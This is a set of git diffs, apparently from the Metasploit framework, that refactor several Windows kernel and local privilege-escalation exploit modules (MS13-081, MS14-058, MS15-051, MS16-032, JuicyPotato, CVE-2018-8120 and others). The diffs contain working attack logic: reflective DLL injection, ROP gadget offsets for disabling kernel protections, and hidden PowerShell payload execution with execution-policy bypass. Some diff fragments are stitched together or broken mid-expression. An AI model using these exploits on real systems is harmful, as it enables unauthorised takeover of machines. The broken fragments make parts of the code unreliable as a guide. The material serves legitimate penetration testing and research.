'License' => MSF_LICENSE,
'Author' =>
[
'Seth Gibson', # vulnerability discovery
'Dan Zentner', # vulnerability discovery
'Matias Soler', # vulnerability analysis
'Spencer McIntyre'
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
def initialize(info = {})
super(
update_info(
info,
{
'EXITFUNC' => 'thread',
},
'Targets' =>
[
[ 'Windows 7 SP0/SP1', { } ]
],
'Payload' =>
{
'Space' => 4096,
'DisableNops' => true
},
'References' =>
[
[ 'CVE', '2013-3881' ],
[ 'OSVDB', '98212' ],
[ 'BID', '62830'],
[ 'MSB', 'MS13-081' ],
[ 'URL', 'http://endgame.com/news/microsoft-win32k-null-page-vulnerability-technical-analysis.html' ],
[ 'URL', 'http://immunityproducts.blogspot.com/2013/11/exploiting-cve-2013-3881-win32k-null.html' ]
],
'DisclosureDate' => '2013-10-08',
'DefaultTarget' => 0,
'Notes' =>
{
'Stability' => [ CRASH_OS_RESTARTS, ],
},
}))
'Name' => 'Windows TrackPopupMenuEx Win32k NULL Page',
'Description' => %q{
This module exploits a vulnerability in win32k.sys where under
specific conditions TrackPopupMenuEx will pass a NULL pointer to
the MNEndMenuState procedure. This module has been tested
successfully on Windows 7 SP0 and Windows 7 SP1.
},
'License' => MSF_LICENSE,
'Author' => [
'Seth Gibson', # vulnerability discovery
'Dan Zentner', # vulnerability discovery
'Matias Soler', # vulnerability analysis
'Spencer McIntyre'
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' => {
'EXITFUNC' => 'thread'
},
'Targets' => [
[ 'Windows 7 SP0/SP1', {} ]
],
'Payload' => {
'Space' => 4096,
'DisableNops' => true
},
'References' => [
[ 'CVE', '2013-3881' ],
[ 'OSVDB', '98212' ],
[ 'BID', '62830'],
[ 'MSB', 'MS13-081' ],
[ 'URL', 'http://endgame.com/news/microsoft-win32k-null-page-vulnerability-technical-analysis.html' ],
[ 'URL', 'http://immunityproducts.blogspot.com/2013/11/exploiting-cve-2013-3881-win32k-null.html' ]
],
'DisclosureDate' => '2013-10-08',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_OS_RESTARTS, ]
}
}
)
)
end
def check
os = sysinfo["OS"]
if (os =~ /windows/i) == nil
if session.platform != 'windows'
return Exploit::CheckCode::Safe
end
file_path = expand_path("%windir%") << "\\system32\\win32k.sys"
file_path = expand_path('%windir%') << '\\system32\\win32k.sys'
major, minor, build, revision, branch = file_version(file_path)
vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")
@ -91,22 +88,22 @@ class MetasploitModule < Msf::Exploit::Local
end
if check == Exploit::CheckCode::Safe
fail_with(Failure::NotVulnerable, "Exploit not available on this system.")
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
end
if sysinfo["Architecture"] == ARCH_X64
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
if sysinfo['Architecture'] == ARCH_X64
fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported')
end
# invoke the exploit, passing in the address of the payload that
# we want invoked on successful exploitation.
print_status("Reflectively injecting the exploit DLL and triggering the exploit...")
print_status('Reflectively injecting the exploit DLL and triggering the exploit...')
encoded_payload = payload.encoded
execute_dll(
::File.join(Msf::Config.data_directory, "exploits", "cve-2013-3881", "cve-2013-3881.x86.dll"),
::File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-3881', 'cve-2013-3881.x86.dll'),
encoded_payload
)
print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.")
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
end
end

View File

@ -3,7 +3,6 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking
@ -13,76 +12,73 @@ class MetasploitModule < Msf::Exploit::Local
include Msf::Post::Windows::FileInfo
include Msf::Post::Windows::ReflectiveDLLInjection
def initialize(info={})
super(update_info(info, {
'Name' => 'Windows TrackPopupMenu Win32k NULL Pointer Dereference',
'Description' => %q{
This module exploits a NULL Pointer Dereference in win32k.sys, the vulnerability
can be triggered through the use of TrackPopupMenu. Under special conditions, the
NULL pointer dereference can be abused on xxxSendMessageTimeout to achieve arbitrary
code execution. This module has been tested successfully on Windows XP SP3, Windows
2003 SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1 and Windows
2008 R2 SP1 64 bits.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # vulnerability discovery and exploit in the wild
'juan vazquez', # msf module (x86 target)
'Spencer McIntyre', # msf module (x64 target)
'OJ Reeves <oj[at]buffered.io>'
],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
def initialize(info = {})
super(
update_info(
info,
{
'EXITFUNC' => 'thread',
},
'Targets' =>
[
# Tested on (32 bits):
# * Windows XP SP3
# * Windows 2003 SP2
# * Windows 7 SP1
# * Windows 2008
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
# Tested on (64 bits):
# * Windows 7 SP1
# * Windows 2008 R2 SP1
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
],
'Payload' =>
{
'Space' => 4096,
'DisableNops' => true
},
'References' =>
[
['CVE', '2014-4113'],
['OSVDB', '113167'],
['BID', '70364'],
['MSB', 'MS14-058'],
['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernel-mode-vulnerability-cve-2014-4113/']
],
'DisclosureDate' => '2014-10-14',
'DefaultTarget' => 0,
'Notes' =>
{
'Stability' => [ CRASH_OS_RESTARTS, ],
},
}))
'Name' => 'Windows TrackPopupMenu Win32k NULL Pointer Dereference',
'Description' => %q{
This module exploits a NULL Pointer Dereference in win32k.sys, the vulnerability
can be triggered through the use of TrackPopupMenu. Under special conditions, the
NULL pointer dereference can be abused on xxxSendMessageTimeout to achieve arbitrary
code execution. This module has been tested successfully on Windows XP SP3, Windows
2003 SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1 and Windows
2008 R2 SP1 64 bits.
},
'License' => MSF_LICENSE,
'Author' => [
'Unknown', # vulnerability discovery and exploit in the wild
'juan vazquez', # msf module (x86 target)
'Spencer McIntyre', # msf module (x64 target)
'OJ Reeves <oj[at]buffered.io>'
],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' => {
'EXITFUNC' => 'thread'
},
'Targets' => [
# Tested on (32 bits):
# * Windows XP SP3
# * Windows 2003 SP2
# * Windows 7 SP1
# * Windows 2008
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
# Tested on (64 bits):
# * Windows 7 SP1
# * Windows 2008 R2 SP1
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
],
'Payload' => {
'Space' => 4096,
'DisableNops' => true
},
'References' => [
['CVE', '2014-4113'],
['OSVDB', '113167'],
['BID', '70364'],
['MSB', 'MS14-058'],
['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernel-mode-vulnerability-cve-2014-4113/']
],
'DisclosureDate' => '2014-10-14',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_OS_RESTARTS, ]
}
}
)
)
end
def check
os = sysinfo["OS"]
if os !~ /windows/i
if session.platform != 'windows'
# Non-Windows systems are definitely not affected.
return Exploit::CheckCode::Safe
end
file_path = expand_path("%windir%") << "\\system32\\win32k.sys"
file_path = expand_path('%windir%') << '\\system32\\win32k.sys'
major, minor, build, revision, branch = file_version(file_path)
vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")
@ -101,18 +97,18 @@ class MetasploitModule < Msf::Exploit::Local
end
if check == Exploit::CheckCode::Safe
fail_with(Failure::NotVulnerable, "Exploit not available on this system.")
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
end
if sysinfo["Architecture"] == ARCH_X64 && session.arch == ARCH_X86
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
elsif sysinfo["Architecture"] == ARCH_X64 && target.arch.first == ARCH_X86
elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86
fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
elsif sysinfo["Architecture"] == ARCH_X86 && target.arch.first == ARCH_X64
elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64
fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
end
print_status("Reflectively injecting the exploit DLL and triggering the exploit...")
print_status('Reflectively injecting the exploit DLL and triggering the exploit...')
if target.arch.first == ARCH_X86
dll_file_name = 'cve-2014-4113.x86.dll'
else

View File

@ -76,9 +76,9 @@ class MetasploitModule < Msf::Exploit::Local
temp = get_env('WINDIR')
dll_path = "#{temp}\\System32\\TSWbPrxy.exe"
win_ver = sysinfo['OS']
version = get_version_info
unless win_ver =~ /Windows Vista|Windows 2008|Windows 2012|Windows [78]/
unless version.build_number.between?(Msf::WindowsVersion::Vista_SP0, Msf::WindowsVersion::Server2012_R2)
return Exploit::CheckCode::Safe
end
@ -99,8 +99,8 @@ class MetasploitModule < Msf::Exploit::Local
fail_with(Failure::NotVulnerable, 'Sorry, this module currently only allows x86/win32 sessions at the moment')
end
win_ver = sysinfo['OS']
if win_ver =~ /Windows 2012|Windows 8/
version = get_version_info
if version.build_number.between?(Msf::WindowsVersion::Win8, Msf::WindowsVersion::Win81)
fail_with(Failure::NotVulnerable, 'This module doesn\'t run on Windows 8/2012 at the moment')
end
@ -113,7 +113,7 @@ class MetasploitModule < Msf::Exploit::Local
cmd = cmd_psh_payload(
payload.encoded,
payload_instance.arch.first,
{ :remove_comspec => true }
{ remove_comspec: true }
)
print_status('Storing payload on environment variable...')

View File

@ -3,7 +3,6 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking
@ -13,49 +12,53 @@ class MetasploitModule < Msf::Exploit::Local
include Msf::Post::Windows::FileInfo
include Msf::Post::Windows::ReflectiveDLLInjection
def initialize(info={})
super(update_info(info, {
'Name' => 'Windows ClientCopyImage Win32k Exploit',
'Description' => %q{
This module exploits improper object handling in the win32k.sys kernel mode driver.
This module has been tested on vulnerable builds of Windows 7 x64 and x86, and
Windows 2008 R2 SP1 x64.
},
'License' => MSF_LICENSE,
'Author' => [
'Unknown', # vulnerability discovery and exploit in the wild
'hfirefox', # Code released on github
'OJ Reeves', # msf module
'Spencer McIntyre' # msf module
],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' => {
'EXITFUNC' => 'thread',
},
'Targets' => [
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
],
'Payload' => {
'Space' => 4096,
'DisableNops' => true
},
'References' => [
['CVE', '2015-1701'],
['MSB', 'MS15-051'],
['URL', 'https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html'],
['URL', 'https://github.com/hfiref0x/CVE-2015-1701'],
['URL', 'https://technet.microsoft.com/library/security/MS15-051']
],
'DisclosureDate' => '2015-05-12',
'DefaultTarget' => 0,
'Notes' =>
def initialize(info = {})
super(
update_info(
info,
{
'Stability' => [ CRASH_OS_RESTARTS, ],
},
}))
'Name' => 'Windows ClientCopyImage Win32k Exploit',
'Description' => %q{
This module exploits improper object handling in the win32k.sys kernel mode driver.
This module has been tested on vulnerable builds of Windows 7 x64 and x86, and
Windows 2008 R2 SP1 x64.
},
'License' => MSF_LICENSE,
'Author' => [
'Unknown', # vulnerability discovery and exploit in the wild
'hfirefox', # Code released on github
'OJ Reeves', # msf module
'Spencer McIntyre' # msf module
],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' => {
'EXITFUNC' => 'thread'
},
'Targets' => [
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
],
'Payload' => {
'Space' => 4096,
'DisableNops' => true
},
'References' => [
['CVE', '2015-1701'],
['MSB', 'MS15-051'],
['URL', 'https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html'],
['URL', 'https://github.com/hfiref0x/CVE-2015-1701'],
['URL', 'https://technet.microsoft.com/library/security/MS15-051']
],
'DisclosureDate' => '2015-05-12',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_OS_RESTARTS, ]
}
}
)
)
end
def check
@ -69,7 +72,7 @@ class MetasploitModule < Msf::Exploit::Local
# Windows Server 2008 R2 (64-bit) SP1 6.1.7601.17514 (Works)
# Windows Server 2008 R2 (64-bit) SP1 6.1.7601.18105 (Works)
if sysinfo['OS'] !~ /windows/i
unless session.platform == 'windows'
return Exploit::CheckCode::Unknown
end
@ -104,7 +107,7 @@ class MetasploitModule < Msf::Exploit::Local
fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
end
print_status("Reflectively injecting the exploit DLL and executing it...")
print_status('Reflectively injecting the exploit DLL and executing it...')
if target.arch.first == ARCH_X86
dll_file_name = 'cve-2015-1701.x86.dll'
else

View File

@ -13,14 +13,14 @@ class MetasploitModule < Msf::Exploit::Local
'6.3.9600.17796',
'6.3.9600.17837',
'6.3.9600.17915'
]
].freeze
NT_VERSIONS = [
'6.3.9600.17415',
'6.3.9600.17630',
'6.3.9600.17668',
'6.3.9600.17936'
]
].freeze
include Msf::Post::File
include Msf::Post::Windows::Priv
@ -51,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Local
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' => {
'EXITFUNC' => 'thread',
'EXITFUNC' => 'thread'
},
'Targets' => [
[ 'Windows 8.1 x64', {} ]
@ -122,7 +122,7 @@ class MetasploitModule < Msf::Exploit::Local
end
def set_win32k_offsets
@win32k_offsets ||= Proc.new do |version|
@set_win32k_offsets ||= proc do |version|
case version
when '6.3.9600.17393'
{
@ -227,8 +227,6 @@ class MetasploitModule < Msf::Exploit::Local
'xchg_rax_rsp_adjust' => 0x15e5fc, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret # 94 c0 41 8b c0 48 83 c4 28 c3
'chwnd_delete' => 0x15A220 # CHwndTargetProp::Delete
}
else
nil
end
end.call(@win32k)
end
@ -245,7 +243,7 @@ class MetasploitModule < Msf::Exploit::Local
end
def set_nt_offsets
@nt_offsets ||= Proc.new do |version|
@set_nt_offsets ||= proc do |version|
case version
when '6.3.9600.17415'
{
@ -267,8 +265,6 @@ class MetasploitModule < Msf::Exploit::Local
'set_cr4' => 0x3863bc, # mov cr4, rax # add rsp, 28h # ret # 0F 22 E0 48 83 C4 28 C3
'allocate_pool_with_tag' => 0x29FA50 # ExAllocatePoolWithTag
}
else
nil
end
end.call(@ntoskrnl)
end
@ -308,7 +304,8 @@ class MetasploitModule < Msf::Exploit::Local
def check
# We have tested only windows 8.1
if sysinfo['OS'] !~ /Windows 8/i
version = get_version_info
unless version.build_number != Msf::WindowsVersion::Win81 && !version.windows_server?
return Exploit::CheckCode::Unknown
end

View File

@ -13,55 +13,57 @@ class MetasploitModule < Msf::Exploit::Local
include Msf::Post::Windows::ReflectiveDLLInjection
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows WMI Receive Notification Exploit',
'Description' => %q(
This module exploits an uninitialized stack variable in the WMI subsystem of ntoskrnl.
This module has been tested on vulnerable builds of Windows 7 SP0 x64 and Windows 7 SP1 x64.
),
'License' => MSF_LICENSE,
'Author' => [
'smmrootkit', # crash code
'de7ec7ed', # exploit code
'de7ec7ed', # msf module
],
'Arch' => [ARCH_X64],
'Platform' => 'win',
'SessionTypes' => ['meterpreter'],
'DefaultOptions' => {
'EXITFUNC' => 'thread'
},
'Targets' => [
['Windows 7 SP0/SP1', { 'Arch' => ARCH_X64 }]
],
'Payload' => {
'Space' => 4096,
'DisableNops' => true
},
'References' => [
['CVE', '2016-0040'],
['MSB', 'MS16-014'],
['URL', 'https://github.com/de7ec7ed/CVE-2016-0040'],
['URL', 'https://github.com/Rootkitsmm/cve-2016-0040'],
['URL', 'https://technet.microsoft.com/en-us/library/security/ms16-014.aspx']
],
'DisclosureDate' => '2015-12-04',
'DefaultTarget' => 0)
super(
update_info(
info,
'Name' => 'Windows WMI Receive Notification Exploit',
'Description' => %q{
This module exploits an uninitialized stack variable in the WMI subsystem of ntoskrnl.
This module has been tested on vulnerable builds of Windows 7 SP0 x64 and Windows 7 SP1 x64.
},
'License' => MSF_LICENSE,
'Author' => [
'smmrootkit', # crash code
'de7ec7ed', # exploit code
'de7ec7ed', # msf module
],
'Arch' => [ARCH_X64],
'Platform' => 'win',
'SessionTypes' => ['meterpreter'],
'DefaultOptions' => {
'EXITFUNC' => 'thread'
},
'Targets' => [
['Windows 7 SP0/SP1', { 'Arch' => ARCH_X64 }]
],
'Payload' => {
'Space' => 4096,
'DisableNops' => true
},
'References' => [
['CVE', '2016-0040'],
['MSB', 'MS16-014'],
['URL', 'https://github.com/de7ec7ed/CVE-2016-0040'],
['URL', 'https://github.com/Rootkitsmm/cve-2016-0040'],
['URL', 'https://technet.microsoft.com/en-us/library/security/ms16-014.aspx']
],
'DisclosureDate' => '2015-12-04',
'DefaultTarget' => 0
)
)
end
def check
# Windows 7 SP0/SP1 (64-bit)
if sysinfo['OS'] !~ /windows/i
unless session.platform == 'windows'
return Exploit::CheckCode::Unknown
end
file_path = expand_path('%windir%') << '\\system32\\ntoskrnl.exe'
major, minor, build, revision, branch = file_version(file_path)
vprint_status("ntoskrnl.exe file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")
version = get_version_info
vprint_status("OS Version: #{version.product_name}")
return Exploit::CheckCode::Safe if build > 7601
return Exploit::CheckCode::Safe unless version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win7_SP1) && version.workstation?
return Exploit::CheckCode::Appears
end
@ -89,6 +91,6 @@ class MetasploitModule < Msf::Exploit::Local
encoded_payload
)
print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.")
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
end
end

View File

@ -81,9 +81,7 @@ class MetasploitModule < Msf::Exploit::Local
end
def check
os = sysinfo["OS"]
if os !~ /win/i
unless session.platform == 'windows'
# Non-Windows systems are definitely not affected.
return Exploit::CheckCode::Safe
end
@ -103,7 +101,7 @@ class MetasploitModule < Msf::Exploit::Local
end
if check == Exploit::CheckCode::Safe
fail_with(Failure::NotVulnerable, "Target is not vulnerable")
fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
end
# Exploit PoC from 'b33f'
@ -116,9 +114,9 @@ class MetasploitModule < Msf::Exploit::Local
payload_arch = framework.payloads.create(datastore['PAYLOAD']).arch.first
if sysinfo['Architecture'] == ARCH_X64 && payload_arch == ARCH_X86
cmdstr.gsub!("System32", "SYSWOW64")
print_warning("Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell")
vprint_warning("#{cmdstr}")
cmdstr.gsub!('System32', 'SYSWOW64')
print_warning('Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell')
vprint_warning(cmdstr.to_s)
end
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
@ -126,41 +124,41 @@ class MetasploitModule < Msf::Exploit::Local
psh_payload = compress_script(psh_payload)
@upfile = Rex::Text.rand_text_alpha((rand(8) + 6)) + ".ps1"
@upfile = Rex::Text.rand_text_alpha(rand(6..13)) + '.ps1'
path = datastore['W_PATH'] || expand_path('%TEMP%')
@upfile = "#{path}\\#{@upfile}"
fd = session.fs.file.new(@upfile, "wb")
fd = session.fs.file.new(@upfile, 'wb')
print_status("Writing payload file, #{@upfile}...")
fd.write(psh_payload)
fd.close
psh_cmd = " -exec Bypass -nonI -window Hidden #{@upfile}"
# lpAppName
ms16_032.gsub!("$cmd", "\"#{cmdstr}\"")
ms16_032.gsub!('$cmd', "\"#{cmdstr}\"")
# lpcommandLine - capped at 1024b
ms16_032.gsub!("$args1", "\"#{psh_cmd}\"")
ms16_032.gsub!('$args1', "\"#{psh_cmd}\"")
end_flag = Rex::Text.rand_text_alphanumeric(32)
ms16_032.gsub!("$end", end_flag)
ms16_032.gsub!('$end', end_flag)
print_status('Compressing script contents...')
ms16_032_c = compress_script(ms16_032)
if ms16_032_c.size > 8100
print_error("Compressed size: #{ms16_032_c.size}")
error_msg = "Compressed size may cause command to exceed "
error_msg = 'Compressed size may cause command to exceed '
error_msg += "cmd.exe's 8kB character limit."
print_error(error_msg)
else
print_good("Compressed size: #{ms16_032_c.size}")
end
print_status("Executing exploit script...")
print_status('Executing exploit script...')
cmd = expand_path('%windir%')
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
cmd += "\\Sysnative"
cmd += '\\Sysnative'
else
cmd += "\\System32"
cmd += '\\System32'
end
cmd += "\\windowspowershell\\v1.0\\powershell.exe -exec Bypass -nonI -window Hidden \"#{ms16_032_c}\""
@ -180,9 +178,9 @@ class MetasploitModule < Msf::Exploit::Local
r.channel.close
r.close
print_good("Executed on target machine.")
rescue
print_error("An error occurred executing the script.")
print_good('Executed on target machine.')
rescue StandardError
print_error('An error occurred executing the script.')
end
end

View File

@ -95,9 +95,9 @@ class MetasploitModule < Msf::Exploit::Local
def create_temp_proc
windir = client.sys.config.getenv('windir')
# Select path of executable to run depending the architecture
if sysinfo["Architecture"] == ARCH_X64 && client.arch == ARCH_X86 && @payload_arch.first == ARCH_X64
if sysinfo['Architecture'] == ARCH_X64 && client.arch == ARCH_X86 && @payload_arch.first == ARCH_X64
cmd = "#{windir}\\Sysnative\\notepad.exe"
elsif sysinfo["Architecture"] == ARCH_X64 && client.arch == ARCH_X64 && @payload_arch.first == ARCH_X86
elsif sysinfo['Architecture'] == ARCH_X64 && client.arch == ARCH_X64 && @payload_arch.first == ARCH_X86
cmd = "#{windir}\\SysWOW64\\notepad.exe"
else
cmd = "#{windir}\\System32\\notepad.exe"
@ -123,35 +123,18 @@ class MetasploitModule < Msf::Exploit::Local
end
def check
os = client.sys.config.sysinfo['OS']
build = os.match(/Build (\d+)/)
privs = client.sys.config.getprivs
# Fast fails
if !privs.include?('SeImpersonatePrivilege')
print_bad('Target session is missing the SeImpersonatePrivilege.')
return Exploit::CheckCode::Safe
end
if (os =~ /NT|XP|2003|.NET Server/) || (os =~ /2008/ && os !~ /2008 R2/)
print_bad('Microsoft Windows before Server 2008 R2 are not vulnerable.')
version = get_version_info
unless version.build_number.between?(Msf::WindowsVersion::Server2008_R2_SP0, Msf::WindowsVersion::Win10_1803)
print_bad("System not vulnerable (#{version.product_name})")
return Exploit::CheckCode::Safe
end
# Windows 10 after build 17134 (April 2018 update, version 1803) is not
# vulnerable. Due to changes in OS names, detecting the difference between
# Server 2016/19 is most reliably done with build numbers:
# (https://github.com/rapid7/metasploit-payloads/pull/355)
if build.nil?
print_warning('Could not determine Windows build number - exploiting might fail.')
else
build_number = build[1].to_i
if build_number > 17134
print_bad("Target appears to be patched (#{os})")
return Exploit::CheckCode::Safe
elsif build_number < 7601
print_bad("Target appears to be too old (#{os})")
return Exploit::CheckCode::Safe
end
end
print_good("Target appears to be vulnerable (#{os})")
print_good("Target appears to be vulnerable (#{version.product_name})")
return Exploit::CheckCode::Appears
end
@ -162,7 +145,7 @@ class MetasploitModule < Msf::Exploit::Local
@payload_name = datastore['PAYLOAD']
@payload_arch = framework.payloads.create(@payload_name).arch
if check == Exploit::CheckCode::Safe
fail_with(Failure::NoAccess, 'User does not have SeImpersonate or SeAssignPrimaryToken Privilege')
fail_with(Failure::NoAccess, 'User does not have SeImpersonate or SeAssignPrimaryToken Privilege, or OS not exploitable')
end
if @payload_arch.first == ARCH_X64
dll_file_name = 'juicypotato.x64.dll'
@ -184,7 +167,7 @@ class MetasploitModule < Msf::Exploit::Local
process = client.sys.process.open
end
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
library_path = ::File.join(Msf::Config.data_directory, "exploits", "juicypotato", dll_file_name)
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'juicypotato', dll_file_name)
library_path = ::File.expand_path(library_path)
print_status("Injecting exploit into #{process.pid}...")
exploit_mem, offset = inject_dll_into_process(process, library_path)

View File

@ -72,8 +72,9 @@ class MetasploitModule < Msf::Exploit::Local
fail_with(Failure::None, 'Session is already elevated')
end
if sysinfo['OS'] =~ /XP|NT/i
fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP')
version = get_version_info
unless version.build_number.between?(Msf::WindowsVersion::Server2008_SP2, Msf::WindowsVersion::Server2008_R2_SP1)
fail_with(Failure::Unknown, "The exploit binary does not support #{version.product_name}")
end
return target unless target.name == 'Automatic'
@ -83,7 +84,7 @@ class MetasploitModule < Msf::Exploit::Local
vprint_status('Targeting x64 system')
return targets[1]
when 'x86'
fail_with(Failure::BadConfig, "Invalid payload architecture") if payload_instance.arch.first == ARCH_X64
fail_with(Failure::BadConfig, 'Invalid payload architecture') if payload_instance.arch.first == ARCH_X64
vprint_status('Targeting x86 system')
return targets[2]
end
@ -105,8 +106,9 @@ class MetasploitModule < Msf::Exploit::Local
sys_arch = assign_target
if sys_arch.name =~ /x86/
return 'CVE-2018-8120x86.exe'
else sys_arch.name =~ /x64/
return 'CVE-2018-8120x64.exe'
else
sys_arch.name =~ /x64/
return 'CVE-2018-8120x64.exe'
end
end
@ -122,7 +124,7 @@ class MetasploitModule < Msf::Exploit::Local
tempexename = "#{Rex::Text.rand_text_alpha(6..14)}.exe"
exe_payload = write_file_to_target(tempexename, exe)
vprint_status("Payload uploaded to temp folder")
vprint_status('Payload uploaded to temp folder')
cve_exe = write_file_to_target(rexename, raw)
command = "\"#{cve_exe}\" \"#{exe_payload}\""
vprint_status("Location of CVE-2018-8120.exe is: #{cve_exe}")

View File

@ -67,16 +67,16 @@ class MetasploitModule < Msf::Exploit::Local
]
],
'References' => [
%w(CVE 2013-5065),
%w(MSB MS14-002),
%w(OSVDB 100368),
%w(BID 63971),
%w(EDB 30014),
%w(URL http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/),
%w(URL http://technet.microsoft.com/en-us/security/advisory/2914486),
%w(URL http://www.secniu.com/blog/?p=53),
%w(URL http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html),
%w(URL http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html)
%w[CVE 2013-5065],
%w[MSB MS14-002],
%w[OSVDB 100368],
%w[BID 63971],
%w[EDB 30014],
%w[URL http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/],
%w[URL http://technet.microsoft.com/en-us/security/advisory/2914486],
%w[URL http://www.secniu.com/blog/?p=53],
%w[URL http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html],
%w[URL http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html]
],
'DisclosureDate' => '2013-11-27',
'DefaultTarget' => 0,
@ -177,15 +177,11 @@ class MetasploitModule < Msf::Exploit::Local
session.railgun.kernel32.CloseHandle(handle)
os = sysinfo['OS']
case os
when /windows xp.*service pack 3/i
version = get_version_info
if version.build_number == Msf::WindowsVersion::XP_SP3 ||
version.build_number == Msf::WindowsVersion::Server2003_SP2
return Exploit::CheckCode::Appears
when /(2003|\.net server).*service pack 2/i
return Exploit::CheckCode::Appears
when /windows xp/i
return Exploit::CheckCode::Detected
when /(2003|\.net server)/i
elsif version.xp_or_2003?
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
@ -200,14 +196,11 @@ class MetasploitModule < Msf::Exploit::Local
my_target = nil
if target.name =~ /Automatic/
print_status('Detecting the target system...')
os = sysinfo['OS']
if os =~ /windows xp.*service pack 3/i
my_target = targets[1]
version = get_version_info
if version.build_number == Msf::WindowsVersion::XP_SP3 ||
(my_target = targets[1])
print_status("Running against #{my_target.name}")
elsif (os =~ /2003/) && (os =~ /service pack 2/i)
my_target = targets[2]
print_status("Running against #{my_target.name}")
elsif (os =~ /\.net server/i) && (os =~ /service pack 2/i)
elsif version.build_number == Msf::WindowsVersion::Server2003_SP2
my_target = targets[2]
print_status("Running against #{my_target.name}")
end

View File

@ -30,7 +30,7 @@ class MetasploitModule < Msf::Exploit::Local
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' => {
'EXITFUNC' => 'thread',
'EXITFUNC' => 'thread'
},
'Targets' => [
# Tested with nicm.sys Version v3.1.5 Novell XTier Novell XTCOM Services Driver for Windows
@ -76,7 +76,7 @@ class MetasploitModule < Msf::Exploit::Local
def open_device(dev)
invalid_handle_value = 0xFFFFFFFF
r = session.railgun.kernel32.CreateFileA(dev, "GENERIC_READ", 0x3, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", 0)
r = session.railgun.kernel32.CreateFileA(dev, 'GENERIC_READ', 0x3, nil, 'OPEN_EXISTING', 'FILE_ATTRIBUTE_READONLY', 0)
handle = r['return']
@ -110,19 +110,19 @@ class MetasploitModule < Msf::Exploit::Local
end
def allocate_memory(proc, address, length)
